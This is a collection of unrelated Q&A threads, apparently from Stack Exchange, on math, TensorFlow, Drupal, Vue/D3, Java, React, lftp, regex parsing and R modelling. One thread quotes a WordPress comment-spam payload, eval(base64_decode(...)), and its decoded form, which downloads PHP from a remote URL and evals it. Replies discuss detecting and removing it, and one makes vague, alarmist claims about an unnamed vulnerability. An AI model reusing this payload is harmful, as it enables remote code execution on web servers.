Using the derivative of $\frac{2x}{1+x^2}$, we can show that $\frac{2x}{1+x^2}$ reaches an absolute minimum of $-1$ at $x=-1$. So, for any $m$, $m-\frac{2x}{x^2+1}$ reaches an absolute maximum at $x=-1$.
Thus we want $m+1\le 0$, giving $m\le -1$.
Remark: Alternately, we can, as you did, work with $mx^2-2x+m$. To make this $\le 0$ for all $x$, we clearly need $m\lt 0$. Then a discriminant analysis will work. It is safer to let $m=-k$. Then our condition becomes  $kx^2+2x+k\ge 0$ for all $x$.


TensorFlow serving vs TensorFlow service

Question: I have a question regarding the difference between TensorFlow Serving versus TensorFlow service. (Sorry that I'm not familiar with this at all.)
I found TensorFlow serving's definition, which is "TensorFlow Serving is a flexible, high-performance serving system for machine learning models, designed for production environments."(https://www.tensorflow.org/serving/)
While I'm wondering what TensorFlow service is? Such as in this sentences:
"TensorFlow models can be deployed to production services like TensorFlow service, and mobile devices."
And what are the production services?
I guess the TensorFlow service refers to some service that helps manage TensorFlow, rather than TensorFlow Serving which is a system to deploy the TensorFlow model. Is that correct?
I'm confused about what the TensorFlow service is, can you share some light on it?
Thank you so much in advance!
Comment: Look up (TensorFlow) master and worker services in [TensorFlow Architecture](https://www.tensorflow.org/extend/architecture).
Answer: I think tensorflow serving is the system that enables us to deploy tf models easily without hustle and bustle (eg. by using saved model we don't need to specify model architecture on production) while tensorflow service is something like Google ML engine.
ps: Don't take my words for it :)


Eval Base64 virus Wordpress

Question: I'm using a wordpress blog today i got a comment like this .
 eval(base64_decode("JGRhdGEgPSBmaWxlX2dldF9jb250ZW50cygiaHR0cHM6Ly9zMy5hbWF6b25hd3MuY29tL3dvcmRwcmVzcy1jb3JlL3VwZGF0ZS1mcmFtZXdvcmsudHh0Iik7ZXZhbCgkZGF0YSk7")); -->

When i've decoded this comment using decoder i got
$data = file_get_contents("https://s3.amazonaws.com/wordpress-core/update-framework.txt");eval($data);

I'm getting many comments like this . Can anyone help me to resolve this problem .? Is it a Hack or does it shows the beginning of hacking ?
Comment: Backup your data earliest
Comment: This looks like a hack attempt, but if you are using a standard Wordpress theme and commenting system, then you should be fine - your serer is probably not executing that PHP. Do you have any reason to believe it is actually being run on your server?
Answer: It is a hack or at least an attempt. They are taking advantage of an unresolved wordpress vulnerability that can allow them to download and executing code among other things.  This type of attack has very little public exposure at the moment on the web and can be particularly nasty if it is originating from an educated source.  If you notice these type of code snippets around your server side then please do more research to determine if you are truly infected and if so, to what level the infection has actually gone.  I have seen entire shared hosting servers infected from individual wordpress site admins either allowing via ignorance or actively helping this problem propagate.  Unfortunately this particular problem is currently not very well documented on the web so you will likely have to do a good bit of research to be sure your site is OK.  To help you research I'll clarify the terminology of this hack.
This is a PHP Code Injection attack that is most likely attempting to exploit a known vulnerability in the wordpress framework.  It is using Base64 encoded PHP code to inject itself onto your hosting server via eval() which is a programming language construct that is present in nearly all programming languages, including PHP.  Hacker's with extremely organized and advanced abilities have made use of this exploit recently to wreak absolute havoc on compromised wordpress sites so be extremely careful when handling this type of problem.
Answer: None of the suggestions worked for us.  The following is how we removed malicious code from multiple wordpress sites without any downtime.
We ran into a problem where we had multiple legacy wordpress sites sharing one filesystem that was infiltrated by this virus.
We ended up writing a little python script to traverse our filesystem and detect the malicious code.
Here's the code for anyone interested (NOTE: USE AT OWN RISK):
https://github.com/michigan-com/eval_scrubber
pip install eval_scrubber
// finds all infected files, will not do anything but READ
python -m eval_scrubber find .
// attempts to remove malicious code from files, potentially dangerous because it WRITEs
python -m eval_scrubber remove .

That scripts will scan the filesystem for malicious content and as a separate command it will attempt to remove the base64 eval functions.
This is really a temporary solution because the generator of this virus uses PHP comments to cause the regex to not match.  We ended up using auditd to monitor what file is writing to a file we knew was getting infected:  http://www.cyberciti.biz/tips/linux-audit-files-to-see-who-made-changes-to-a-file.html
Once we found the generator of the virus, did one more eval_scrubber remove and then our problem was fixed.
Answer: I was searching for a good and fast solution. This will help you find which files are infected with eval64. Then you can use search/replace in Dreamweaver and remove it from all files at once.
Threat scan plugin
BUT
There was an index file with short 2 lines of code. That 2 lines were injecting eval over and over. I forgot which index.php it was but look in folders:

wp-admin
wp-content
wp-include

Try to search for md5 in your files using Dreamweaver.
Hope you'll be able to fix it.

Eval Base64 virus Wordpress


Explicit probability distribution for a Gaussian family of random variables

Question: Suppose $X_{ij}$ are random variables on a probability space $(\Omega, \mathcal{F},p)$, for each $i,j = 1,...,n$. Let me call $X = (X_{ij})_{i,j=1}^{N}$ the associated random vector, which has $N^{2}$ entries. Suppose these random variables $X_{ij}$ are i.i.d and $\mathcal{N}(0,\frac{1}{N})$. Let $f: \mathbb{R}^{N^{2}}\to \mathbb{R}$. I want to compute an expression for the expectation $\mathbb{E}[f\circ X]$. According to my calculations, this should be:
$$\mathbb{E}[f\circ X] = \bigg{(}\frac{N}{\sqrt{2\pi}}\bigg{)}^{N}\int_{\mathbb{R}^{N^{2}}}f(x)e^{-\frac{1}{2}\sum_{i,j=1}^{N}N^{2}x_{ij}^{2}}dx$$
with the abbreviation $x = (x_{ij})$. I am not entirely sure of this formula, because I am unsure if I am using the correct product measure. Is my formula correct?
Answer: The density for each $X_{ij}$ is
\begin{equation}
\frac{1}{\sqrt{2\pi/N}} e^{-x_{ij}^2/(2/N)} dx_{ij}
\end{equation}
(Note here that the variance $\sigma^2$ is $1/N$, not the standard deviation).
Since the $X_{ij}$ are i.i.d., the expression for $\mathbb{E}[f \circ X]$ would be
\begin{equation}
\mathbb{E}[ f \circ X] = \left ( \frac{N}{2\pi} \right)^{N^2/2} \int_{\mathbb{R}^{N^2}} f(x) \,\exp \left( - {\frac{N}{2} \sum_{i,j = 1}^N x_{ij}^2} \right) \,dx.
\end{equation}


Similar/related tags block

Question: There are a lot of ways to build similar content block according to their tags. Is there any way to build similar tags block?
I try to build similar/related tags block.
I want to look at contents and common tags they have. How many times they added to contents together. Something like this:

For example: for first column green is similar for blue. For the third column yellow and blue similar for green.
Answer:
Create one content views for block
Relationship > Taxonomy term: Content with term
aggregation setting yes
use count on aggregation setting for the field.

There are other options available over here.
https://www.youtube.com/watch?v=w22Utjm-chs
Comment: Thanks for the answer but this is not exactly what I need.. I try to find related tags according to a tag.. I want to show barcelona, real madrid etc. when I go to La Liga tag's page. Because most the times La Liga and barcelona/real madrid adds to content together.. And I want to reach that relativity according to with this count.

Similar/related tags block


Can we simplify $Cov(XY,X)$?

Question: Can we express $Cov(XY,X)$ in terms of moments of $X$ and $Y$ (instead of joint moments)?
Is there an alternative simplification than $$Cov(XY,X)=E[X^2Y]-E[XY]E[X]$$
If not, is there perhaps an approximation for $Cov(XY,X)$?
Comment: Any such simplification would require $X$ and $Y$ to be independent: is that what you are assuming?
Comment: That's just one way of saying the result *must* depend on joint moments.  For an approximation, what do you have in mind?  What form would an approximation take and what information would it use?
Comment: no, you'll need a joint moment at some point
Comment: @whuber Thanks for your comment. No, I can't assume this. The random variables $X$ and $Y$ are negatively correlated.
Comment: @whuber You're fully right. Obviously. I see your point now. Equality requires the joint distribution. I still wonder whether any combination of individual moments of $X$ and $Y$ could yield a quantity _approximating_ $Cov(XY,X)$?
Answer: If you calculate $E(Y|X)=g(X)$ (Since E(Y|X) is a function of $X$)
so
\begin{align}
Cov(XY,X)&=E(X^2Y)-E(XY)E(X)
\\ &= E\color{blue}(E(X^2Y\mid X)\color{blue})-E\color{blue}(E(XY|X)
\color{blue})E(X)
\\ &=E\color{blue}(X^2E(Y\mid X)\color{blue})-E\color{blue}(XE(Y|X)\color{blue})E(X)
\\ &= E(X^2g(X))-E(Xg(X))E(X)
\end{align}
For example consider $$(X,Y)\sim Normal(\mu_x,\mu_y,\sigma_x,\sigma_y,\rho)$$
$E(Y|X)=\mu_y+\rho \frac{\sigma_y}{\sigma_x}(X-\mu_x)$
so
\begin{align}
Cov(XY,X)&= E(X^2g(X))-E(Xg(X))E(X)
\\ &= E(X^2\color{red}(\color{blue}{\mu_y+\rho \frac{\sigma_y}{\sigma_x}(X-\mu_x)}\color{red}))
-E(X\color{red}(\color{blue}{\mu_y+\rho \frac{\sigma_y}{\sigma_x}(X-\mu_x)}\color{red}))E(X)
\end{align}
that can be calculated.
Consider situation that $(X,Y)$ has a complicated distribution but you can calculate $E(Y|X)=g(X)$. if you simulate $x_1,\cdots ,x_N $ from $X$ distribution, by Monte Carlo methods
you can simply approximate
$$Cov(XY,X)=E(X^2g(X))-E(Xg(X))E(X)$$ by
$$\frac{1}{N} \sum_{i=1}^{N} x_i^2 g(x_i)-\color{blue}( \frac{1}{N} \sum_{i=1}^{N} x_i g(x_i) \color{blue})
\color{green}( \frac{1}{N} \sum_{i=1}^{N} x_i \color{green})$$

Can we simplify $Cov(XY,X)$?


D3 + VueJs + Typescript | Fixing Errors

Question: I am trying to make work VueJS with Typescript and D3.js library.
I have managed to display a graph but Typescirpt gives me loads of errors
This is my code:
import Vue from 'vue';
import { Component } from 'vue-property-decorator';

import * as d3 from "d3";
import * as d3select from 'd3-selection';

@Component
export default class HomeComponent extends Vue {

name: 'non-vue-line-chart'
data() {
    return {
        chartData: [99, 71, 78, 25, 36, 92],
        line: '',
    };
}

getScales(){
    const x = d3.scaleTime().range([0, 430]);
    const y = d3.scaleLinear().range([210, 0]);
    d3.axisLeft().scale(x);
    d3.axisBottom().scale(y);
    x.domain(d3.extent(this.data().chartData, (d, i) => i));
    y.domain([0, d3.max(this.data().line, d => d)]);
    return { x, y };
}

calculatePath() {
    const scale = this.getScales();
    const path = d3.line()
        .x((d, i) => scale.x(i))
        .y(d => scale.y(d));
    this.data().line = path(this.data().chartData);
}

mounted() {
    this.calculatePath();
  }
}

This is the list of errors I get: List of errors
ERROR in [at-loader] ./ClientApp/components/home/home.ts:23:9
TS2346: Supplied parameters do not match any signature of call target.

ERROR in [at-loader] ./ClientApp/components/home/home.ts:24:9
TS2346: Supplied parameters do not match any signature of call target.

ERROR in [at-loader] ./ClientApp/components/home/home.ts:25:18
TS2345: Argument of type '[undefined, undefined] | [number, number]' is not
assignable to parameter of type '(number | Date | { valueOf(): number; })
[]'.
Type '[undefined, undefined]' is not assignable to type '(number | Date | {
valueOf(): number; })[]'.
Types of property 'push' are incompatible.
  Type '(...items: undefined[]) => number' is not assignable to type
'(...items: (number | Date | { valueOf(): number; })[]) => number'.
    Types of parameters 'items' and 'items' are incompatible.
      Type 'number | Date | { valueOf(): number; }' is not assignable to
 type 'undefined'.
        Type 'number' is not assignable to type 'undefined'.

Any advice and solutions?
Thanks in advance!
Comment: @another-guy Sorry for not up voting your previous answer. I am very new to Stack overflow and I have not enough 'reputation points' to do it. I have accepted your previous answer. Meanwhile, I am trying to fix current issue. After fixing naming I still getting errors. The line 'd3.axisLeft' is being underlined. It does not picking it up in the class. When I type outside the class intellisense picks it up but not inside the class. Is it something to do with '.. class .. extends Vue'?
Comment: I'll take a look when I'm at my desktop sir
Comment: Thank you! looking forward to hearing from you. Best
Comment: I have updated the naming and added some errors. I cannot put all of them as editor complaining about to much code :( I have go 6 errors overall at the moment
Comment: I don't know how exactly you ended up having that many errors. I think you should provide a plunker... (I will post what I did in my case...)
Comment: I am getting underlined 'axisBottom', 'axisLeft', 'd3.extent'. It seems to be functionality of d3v4.
Answer: I did not have vue-cli on my desktop, so:
npm install --global vue-cli

Then scaffold an empty project:
vue init webpack vuejs-d3  # Picked all defaults except of ESLint preset -- Airbnb
cd vuejs-d3
npm install
npm install d3 --save
npm install @types/d3

Then went to the HelloWorld.vue and moved your code into it and modified things very slightly. Notice, I'm using the *.vue file, because I like to deal with whatever Vue's defaults are. Nevertheless, type support works...
<template>

{{ chartData }}

</template>

When I run npm run dev, I do not see any compilation errors neither in the Git bash

nor in VS Code (with Vetur plugin installed) when I do Ctrl+Space

nor when I hover the cursor over the methods

P.S. Below are the package versions I'm tested against.
Global:
email@example.com

From package.json:
"dependencies": {
  "d3": "^4.11.0",
  "vue": "^2.5.2",
  "vue-router": "^3.0.1"
},

Since I was unable to reproduce your issue, I strongly recommend you create a plunker or any other tangible repro people can play with. Right now, it's hard to see what's wrong with your stuff. Sorry. If you follow my steps, things should just work.

D3 + VueJs + Typescript | Fixing Errors


n-dimensional integral of delta function

Question: As part of an exercise for quantum mechanics I have to solve the following integral:
$$ \int \delta\left( a- \frac{x^2}{b} \right)\; \mathrm{d}^nx =  a^{\frac{n}{2}-1} \cdot b^{\frac{n}{2}}$$
I do have the solution to the integral, but I can't figure out how to get to it. I know I have to use the following identity:
$$\delta\left( x^2 - a^2 \right) = \frac{1}{2|a|}\left[ \delta \left(x-a  \right) + \delta \left( x+a \right) \right] $$
It would be great if someone could give me some hints.

edit 1:
By using the identity from above I get:
$$\delta\left(a-\frac{x^2}{b}\right) =  \frac{1}{2 \sqrt{a}} \left[\delta\left(\sqrt{a}-\frac{x}{\sqrt{b}}\right) + \delta\left(\sqrt{a}+\frac{x}{\sqrt{b}}\right)\right]$$
Comment: so $x=|x|$, right?
Comment: @tired Yes, I should have made this clear.
Comment: ok, then i would choose polar coordiates (hint the delta function transforms inverse as the measure)
Answer: Use geometry and recognize the surface of a known object. You can find the answer of your question in the following images.
https://i.stack.imgur.com/eBcrZ.jpg
https://i.stack.imgur.com/ROv6S.jpg
Comment: Thank you very much. This helped alot.


Array not printing or going into array?

Question: So I have to generate an array (size inputed by User) with a limit of 0-9; but each time I try to

Array.toString()

it compiles with error. Even when I imported arrays that the compiler states that I can't import or resolve.
Start
import java.util.Arrays;
import java.util.Random;
import java.util.Scanner;
public class Frequency
{
  int var1,var2,var3,var4,max,min,var5,var6,var7,var8;
  int [] a;

  Scanner dab = new Scanner(System.in);
  public void rand()
  {
    Random rande = new Random();
    System.out.println("How many Random Values ");
    var1 = dab.nextInt();
    for (int k = 0; k > var1; k++)
    {
      a[k] = (int)(Math.random() * 10);
    }
    System.out.println(Arrays.toString(a));
  }
}

Tester:
public class FrequencyTester
{
  public static void main(String[]args)
  {
    Frequency yeet = new Frequency();
    yeet.rand();
    System.out.println("test");
  }
}

Answer: Your first mistake is in For loop k must be  less than var1
for (int k = 0; k < var1; k++)

Answer: try this
import java.util.Arrays;
import java.util.Random;
import java.util.Scanner;
class Frequency
{
  int var1,var2,var3,var4,max,min,var5,var6,var7,var8;
  int [] a;

  Scanner dab = new Scanner(System.in);
  public void rand()
  {
    Random rande = new Random();
    System.out.println("How many Random Values ");
    var1 = dab.nextInt();
    a=new int[var1];
    for (int k = 0; k < var1; k++)
    {
      a[k] = (int)(Math.random() * 10);
    }
    System.out.println(Arrays.toString(a));
  }
}

public class FrequencyTester
{
  public static void main(String[]args)
  {
    Frequency yeet = new Frequency();
    yeet.rand();
    System.out.println("test");
  }
}

Array not printing or going into array?


Creating a displayable 'index' of content nodes within a path

Question: Ok, it's been over a decade since I've worked with Drupal (primary use was for a personal blogging platform, with a bit of extra extensibility and a well developed plugin ecosystem). Sadly, most of my knowledge has escaped me, so I'm starting completely from scratch knowledge wise, and I don't know where to start.

Summary
I'm going to use Drupal as the platform to deliver an intranet for a small company I work for.
In order to make navigation as simple as possible, and without having to worry about themes and menus constantly - I'd like to have pages where it displays an automatically generated 'table of contents' for all the documents or items on one or more levels below it.

Explanation
I intend to structure and alias the content with a URL alias similar to directories in a file system, for example:
Marketing
 ⌊_ eCommerce
  ⌊_ Search Advertising
      ⌊_ Google
      ⌊_ Facebook
  ⌊_ Product Maintenance
Administration
  ⌊_ Vehicles
  ⌊_ Accounting and Finance
and so on
On the homepage, I would like to have a content block or something appropriate in the body, which displays only the L1 directories (i.e. Marketing, Administration), and that is then linked to their relevant pages (i.e. domain.com/marketing, domain.com/administration).
From there, the home pages for these L1 areas have an index that traverses and lists everything automatically at L2, L3 and so on

I hope what i'm trying to achieve has made sense, and appreciate all and any help to point me in the right direction for achieving this.
Answer: Basically, what you need to do is the following:

Create a new vocabulary (taxonomy module)
Insert your structure as you listed above (MArketing...etc)
Add "entity reference" field to your content type
Use "views" to create list the content in "table". Make sure to use the right filters
Some other modules might help with the interface like menu taxonomy

You can find very good training courses for Drupal on Drupalize.me and Build a Module
Comment: Thanks. I'll go ahead and re-acquaint myself with all of this, so I can get started. Greatly appreciate the constructive and useful response.


accessing array of objects after exporting in jsx

Question: i have contacts.js as below which has array(contacts) of 2 objects and i am exporting this array.
    const contacts = [
      {
        name: "xx",
        imgURL:"xx",
        phone: "xx",
        email: "xx"
      },{
        name: "xxx",
        imgURL:"xxx",
        phone: "xxx",
        email: "xxx"
      }
]

    export default contacts

in my jsx file below i am accessing this array by importing it. but when i try to print one specific object of array, the output is printed as undefined. also, i want to pass this objects as properties to my component. is there any way to achieve this?
my jsx file
import React from "react";
import ContactCard from "./ConactCard";
var contacts = require("/src/contacts.js");

function App() {
  return (

      <ContactCard contacts={contacts[0]} />
      <ContactCard contacts={contacts[1]} />

  );
}

export default App;

my Contactcard.jsx is as below
function ContactCard(props){
  return (

{props.name}

  )
}
export default ContactCard

Comment: have you tried with the correct prop names, e.g. ``?
Answer: You're accessing the property incorrectly.
Try this:
function ContactCard(props){
  return (

{props.contacts.name}
 // correct
       // incorrect

  )
}
export default ContactCard

you can also destructure the props:
function ContactCard({ contacts }) {
  return (

{contacts.name}

  )
}
export default ContactCard

or you can spread the contacts object in the parent:
function App() {
  return (

      <ContactCard {...contacts[0]} />
      <ContactCard {...contacts[1]} />

  );
}

function ContactCard(props){
  return (

{props.name}

  )
}

Comment: @anonymous_coder - Try importing in this way: `import contacts from '/src/contacts.js';` also make sure that you're using the correct path.
Comment: when i try to print contacts[0] in the main jsx file i am getting undefined. also, inside the props as well.
Answer: You are accessing the props in ContactCard incorrectly. You can choose to destructure the props in ContactCard like this.
function ContactCard({ contacts: { name, imgUrl } }){
  return (

{name}

  )
}
export default ContactCard

Comment: problem got solved by changing the require statement with import


lftp: how to echo an unsupported command to remote server

Question: I am connecting to a remote server that requires that I change my password every 90 days (WS_FTP Pro).  The command to do that is "CPWD oldpass newpass".
I would like to do it using a script but I can't figure out how to send the CPWD command using lftp.
Suggestions?
Answer: You want quote (your command).  So, in your case, quote CPWD oldpass newpass
Comment: It doesn't work.------Command: SITE CPWD thispass thatpass----Response: 550 Command SITE failed-----If I use filezila and "Enter custom command..." I get/-----Command: CPWD thispass thatpass---Response: 250 CPWD successful
Comment: How about `quote cpwd oldpass newpass`?
Comment: *in best carnival barker voice* WINNAR! ty
Comment: Nice!  I'll edit my answer to have the correct one.


proving than an infinite product defines an entire function

Question: Consider the infinite product
$$F(z)=\displaystyle\prod_{n=1}^{+\infty}(1-e^{-2\pi n}e^{2\pi iz})$$
How can i prove that $F$ is entire? Can i write $F$ as a Weierstrass product $\prod E(\frac{z}{z_j},p_j)$, for suitable zeros $z_j's$ and integers $p_j's$?
Answer: A product $\prod_{n=1}^\infty (1-f_n(z))$ converges absolutely and uniformly if $\sum_{n=1}^\infty f_n(z)$ does.
For your example $|f_n(z)| = |e^{-2\pi n} e^{-iz}| = e^{-2\pi n}e^y$ (with $z=x+iy$). Let $\Omega_k = \{ z = x+iy : |y| < k \}$. By Weierstrass M-test, the series $\sum_{n=1}^\infty f_n(z)$ converges uniformly on $\Omega_k$, so $F$ is holomorphic on $\Omega_k$, and this holds for every $k$. Hence $F$ is entire.


Trouble solving equation, finding dimensions of rectangles with shared side (given perimeter)

Question: You will build a rectangular sheep pen next to a river. There is no need to build a fence along the river, so you only need to build three sides. You have a total of 450 feet of fence to use. Find the dimensions of the pen such that you can enclose the maximum area.
Comment: What have you tried?  Make two variables, one for the length and one for the width.  The area is the product.  The $450$ gives a relation between them, so plug that in and have an equation for the area as a function of one.  Differentiate, set to zero,.....  Where is your problem?
Comment: He probably cannot use calculus, this is a fairly low-level question.
Comment: -b/2a works instead though, so I agree
Answer: The way to solve this is to set $x$ to be the width of the rectangle and $y$ to be the length.
Therefore: $2x+y=450$, because of the restriction on the perimeter. $xy=$ the area.
Let us solve for $y$ in terms of $x$.
$y=450-2x$
Therefore, our area is $x(450-2x)$ or $-2x^2+450x$. Since this is an upside-down parabola (the negative coefficient on the $x^2$-value), we can use $-\frac{b}{2a}$ to find the maximum.
Our $b$ = 450, and $a=-2$, so we have the maximum area at the $x$-value:
$$x=-\frac{450}{-4}$$
$$x=112.5$$
By our first definition: $y=450-2x$
$$y=450-2 \cdot 112.5$$
$$y=225$$
Our maximum dimensions are length $225$ and width $112.5$, with area being $25312.5$.
Answer:
We differentiate function of area wrt a and equating it with 0 SO that we can calc. a for which area will be max.
Comment: He may not have calculus, this is a low level question that is normally asked in Algebra I or Geometry...
Comment: I think u are right


OP-1 mixer tracks 1 and 2 disabled

Question: I've found that either though me tweaking it weird or though a botched update, my Teenage Engineering OP-1's mixer tracks 1 and 2 have become disabled.
When I go to the mixer screen, I can see track 3 in white and track 4 in red, but tracks 1 and 2 are faded to gray. The encoders still function and set the level of the track between 0 and 99, but the tracks are still dimmed and when in tape mode, on either track 1 or 2, pressing any key produces no sound. Though I can see the red vertical indicator going up and down with the sound and it's not capped mute for any of the tracks. Also the synth/drum mode icon still lights up for any of the tape tracks when pressing keys.
When in tracks 3 and 4, sound comes out of the OP-1 as expected.
Did I manage to misconfigure my OP-1 somehow? What do I do to reverse it?
I've updated to firmware 225 yesterday, but I don't see this being a firmware problem since it's been out for a while now and I think someone would have noticed there was a problem with it by now.
Answer: This was eventually resolved by a restart.
I still don't have an answer to whether it is a valid state I somehow invoked without realizing the combination of actions that led me there, or whether it was a bug.
I'll accept a better answer and delete mine, if one is provided.
Answer: If you press shift and one of the track numbers it allows you to toggle hearing the track. This lets you solo and do other cool things.
In your case just press shift + 1 then shift + 2.

OP-1 mixer tracks 1 and 2 disabled


Clarification on using regular expressions

Question: I have an expression as below:
abc_d_efg =  'Faulty' || test1= 'NotUsed' || sample_true = 'Empty'

I want to filter out all the left hand side labels. That is the Final list should be like:
list = ['abc_d_efg','test1','sample_true']

I have tried:
re.findall("\w*_\w*_\w*",string_CAN)

But this returns only abc_d_efg
Signals = []
String = "abc_d_efg =  'Faulty' || test1= 'NotUsed' || sample_true =
'Empty' "
Signals = re.findall("\w*_\w*_\w*",string_CAN)
print(Signals)

Actual Output: ['abc_d_efg']
Expected Output: ['abc_d_efg','test1','sample_true']
Comment: sorry, the third line of code is :  Signals = re.findall("\w*_\w*_\w*",String)
Comment: You can always edit your question if you need add something.
Comment: You can try this: `(?:([^=]+)(?==)[^|]*\|\|)+(?:([^=]+)(?==).*)`, but it'll only capture the last two labels...
Answer: Looks like regexes are too weak to handle this because they only give you access to the last value of a repeated capture group, but we need all of these values. But fear not, it's overkill time!
Here's a recursive descent parser that will validate the string and return the list of labels from it.
It uses the following grammar (in BNF; terminals in uppercase; the starting symbol is expression):
expression:
    assignment | (assignment OR expression)
assignment:
    NAME ASSIGN STRING

Code:
import re

class Token:
    def __init__(self, type: str, string: str, span: tuple):
        self.type, self.string, self.span = type, string, span

    def __repr__(self):
        return f'Token({self.type}, {self.string!r}, {self.span})'

def lex(data: str) -> list:
    '''
    Tokenize the string `data` and yield non-SPACE tokens.
    Valid token types (see `(?P<TOKEN_TYPE>...)` in the regex below):
        ASSIGN, NAME, OR, SPACE, STRING
    '''
    regex = re.compile(r"(?P<NAME>[a-zA-Z_][a-zA-Z0-9_]*)|(?P<STRING>'[^']*')|(?P<ASSIGN>\=)|(?P<OR>\|\|)|(?P<SPACE>\s+)")
    retval = []
    i, maxlen = 0, len(data)
    while i < maxlen:
        match = regex.match(data[i:])
        if not match:
            raise ValueError(f'Invalid token at index {i}')

        begin, end = match.span()
        begin += i
        end += i
        i += match.end()

        token = Token(match.lastgroup, match.group(), (begin, end))

        if token.type != 'SPACE':
            yield token

class Parser:
    '''
    Grammar is the following.

    expression:
        assignment | (assignment OR expression)
    assignment:
        NAME ASSIGN STRING
    '''
    def __init__(self, code: str):
        self.code = code
        self.last_valid_token_end = 0
        self.tokens = lex(code)

    def next_token(self, expected_types: set, recursion_depth: int) -> Token:
        '''
        Return the next token. If the `self.tokens` iterable is empty, return the special EMPTY token.
        Raise an exception if the token's type is not in `expected_types`.
        '''

        try:
            token = next(self.tokens)
        except StopIteration:
            token = Token('EMPTY', '', (self.last_valid_token_end, self.last_valid_token_end + 1))
        else:
            _, self.last_valid_token_end = token.span

        if token.type not in expected_types:
            line_thing = self.code[
                (token.span[0] - 4) if token.span[0] >= 4 else 0:token.span[1] + 4
            ]
            raise ValueError(
                f'Unexpected token {token}, expected one of {expected_types} '
                f'at line {line_thing!r}'
            )

        print('\t' * recursion_depth + token.type)

        return token

    def parse(self):
        '''
        Start parsing from recursion level zero. Recursion levels are needed to pretty-print
        the syntax tree for debugging only.
        '''
        return self.expression(0)

    def expression(self, i: int):
        '''
        Parse the `expression` production from the grammar.
        Return a list of wharever is returned by `self.assignment`.
        '''

        print('\t' * i + 'expression')

        assignments = [self.assignment(i + 1)]  # parse the `assignment` production

        next_token = self.next_token({'OR', 'EMPTY'}, i + 1)  # the next token must be either OR or EMPTY
        if next_token.type == 'OR':
            assignments.extend(self.expression(i + 1))  # parse the `expression` production
            next_token = self.next_token({'EMPTY'}, i + 1)  # the next token must be EMPTY

        return assignments

    def assignment(self, i: int):
        '''
        Parse the `assignment` production from the grammar.
        Return the string that corresponds to the NAME token in the grammar.
        '''
        print('\t' * i + 'assignment')

        name, assign, string = (
            self.next_token({'NAME'}  , i + 1),
            self.next_token({'ASSIGN'}, i + 1),
            self.next_token({'STRING'}, i + 1)
        )

        return name.string

CODE = "abc_d_efg =  'Faulty' || test1= 'NotUsed' || sample_true = 'Empty'"
result = Parser(CODE).parse()
print(result)

Output:
expression
    assignment
        NAME
        ASSIGN
        STRING
    OR
    expression
        assignment
            NAME
            ASSIGN
            STRING
        OR
        expression
            assignment
                NAME
                ASSIGN
                STRING
            EMPTY
        EMPTY
    EMPTY
['abc_d_efg', 'test1', 'sample_true']

Remove all print statements from the Parser class to disable debug output, that is, everything above ['abc_d_efg', 'test1', 'sample_true'].
Answer: Your expression searches for strings with three underscores, you should try looking for something trailed by an = . You can use a positive look ahead:
Try:
\w* ?(?=\=)

PS: https://regexr.com might help
Comment: The same way how can i split that comes after the '=' symbol?
Comment: You will have to use a lookbehind: (?<=\=) NOTE: A lookbehind isn't supported in all interpreters . A way to find everything in your string would be: (?<=\=)[ \t\r\n]*\'\w*\' . NOTE: The line breaks might be superfluous, but there is a line break in the string you have given.
Comment: 'a !=5
b >=1
c ==1
d <= 2
e <2' . From this string, i want to get a list of all the labels that are before the comparison operator and another list that contains the values after the comparison operator. that is list1 = ['a','b','c','d','e'] and list2 = ['5','1','1','2','2']. How will i be able to do that?
Comment: The direction you are going is parsing which is what @ForceBru describes in his answer. *Programming languages are not regular* However in the particular case you are describing, regex still works fine: All your variables are strings of alfa chars: [a-zA-Z]+ and all your values are digits: \d+
Answer: Try using list comprehension with re.findall()
import re
your_string = "abc_d_efg =  'Faulty' || test1 = 'NotUsed' || sample_true = 'Empty'"
your_labels = [v.strip() for v in re.findall("\w* ? (?=\=)", your_string)]
print(your_labels)

# Gives expected output
['abc_d_efg', 'test1', 'sample_true']

Hope this helps.
Comment: If you are (incorrectly) borrowing my regex, you might also upvote my answer. Seems like the polite thing to do. Also: This regex is not going to produce that output (it'll miss test1)
Comment: Nein! Yours is looking for a word followed by compulsory space then an optional space, followed by a non capturing = . Since the second match has no space between the word and the =, hence this expression will not capture it. Try it yourself: https://regexr.com/


How to compute R-sq for RLM?

Question: I want to predict sales with lm and machine learning so I did this:
library("caret")
set.seed(1)
in_train <- createDataPartition(open_store$Sales, p = 0.75, list = FALSE)
training <- open_store[in_train,]
testing <- open_store[-in_train,]
total_fit <- lm(Sales ~ DayOfWeek + Promo + SchoolHoliday + StateHoliday + Month + Year + StoreType + Assortment + log(CompetitionDistance), data = training, na.action = na.omit)
summary(total_fit)
plot(total_fit$fitted.values, total_fit$residuals)
qqnorm(total_fit$residuals,  ylab = "Residual Quantiles")
total_predict <- predict(total_fit, testing)
plot(total_predict, testing$Sales)
abline(lm(total_predict~testing$Sales), col="red")
predict_eval <- lm(testing$Sales~total_predict)
summary(predict_eval)
rmse_train <- sqrt(mean(total_fit$residuals ^ 2))
rmse_test <- sqrt(mean(predict_eval$residuals ^ 2))
rmse_test/rmse_train

My problem is that after taking out the zeros from the initial dataset my R-sq gets really low (around 0.25) which means that my model is not good enough although my RMSE ratio is pretty good (approx. 0.99). If I leave them in the R-sq is around 0.85 but the plot looks awful. I went through some discussions and some people suggest to do my model with rlm:
library(MASS)
total_fit <- rlm(Sales ~ DayOfWeek + Promo + SchoolHoliday + StateHoliday + Month + Year + StoreType + Assortment + log(CompetitionDistance),
    data = training,
    na.action = na.omit)

But it neither provides R-sq nor p values. Does anyone have a suggestion how to improve this model and how to estimate if the model performs better with lm or rlm?
Thank you in advance!
Comment: Maybe edit your question to skip the irrelevant stuff - all you need is the dataset and the rlm call.
Answer: Looks to me that rlm won't provide you with this info. So, you'll have to calculate it yourself.
Hmm. I Am Not A (Proper) Statistician, but something like:
1 - sum(residuals(total_fit)^2)/sum((testing$Sales-mean(testing$Sales))^2)

might do it.
Comment: Tnx but I got 2.322097 which can't be the R-sq as it's supposed to vary from 0 to 1.

May also ask if it's okay to have almost the same RMSE = 2000+ for both the model and the test if the observations are approx 1M? And if the RMSE ratio is 0.99, is it a good indicator or it just says the both the model and the test are not good? Tnx
Comment: Sounds like a q for cross validated
Comment: I find it extremely unlikely that 1 minus the ratio of two sums of squares, both of which must of course be positive, came to greater than 1. Perhaps check your code. (Or mine.)
Comment: oh yeah.. it's actually -1.32 but still not really helpful. Do you think if I take out the outliers from the initial dataset would be a good option?
Comment: Not sure. Negative R2 is possible if your prediction line is worse than a flat one through the mean. To me, this sounds as if rlm is not doing much for you.

How to compute R-sq for RLM?


